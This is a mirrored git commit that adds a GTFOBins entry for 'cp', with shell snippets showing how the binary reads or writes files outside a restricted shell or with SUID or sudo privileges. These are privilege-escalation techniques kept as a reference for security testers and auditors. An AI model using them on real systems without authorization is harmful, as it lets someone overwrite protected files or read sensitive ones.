mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 14:30:07 +01:00
Add cp as suggested in #20
This commit is contained in:
parent
fdbd1220bb
commit
508a06c14a
28
_gtfobins/cp.md
Normal file
28
_gtfobins/cp.md
Normal file
@ -0,0 +1,28 @@
|
|||||||
|
---
|
||||||
|
description: This can be used to read or write files outside a restricted file systems or with elevated privileges.
|
||||||
|
functions:
|
||||||
|
file-write:
|
||||||
|
- code: |
|
||||||
|
LFILE=file_to_write
|
||||||
|
TF=$(mktemp)
|
||||||
|
echo "DATA" > $TF
|
||||||
|
cp $TF $LFILE
|
||||||
|
file-read:
|
||||||
|
- code: |
|
||||||
|
LFILE=file_to_read
|
||||||
|
TF=$(mktemp)
|
||||||
|
cp $LFILE $TF
|
||||||
|
cat $TF
|
||||||
|
suid-enabled:
|
||||||
|
- code: |
|
||||||
|
LFILE=file_to_write
|
||||||
|
TF=$(mktemp)
|
||||||
|
echo "DATA" > $TF
|
||||||
|
./cp $TF $LFILE
|
||||||
|
sudo-enabled:
|
||||||
|
- code: |
|
||||||
|
LFILE=file_to_write
|
||||||
|
TF=$(mktemp)
|
||||||
|
echo "DATA" > $TF
|
||||||
|
sudo cp $TF $LFILE
|
||||||
|
---
|
Loading…
Reference in New Issue
Block a user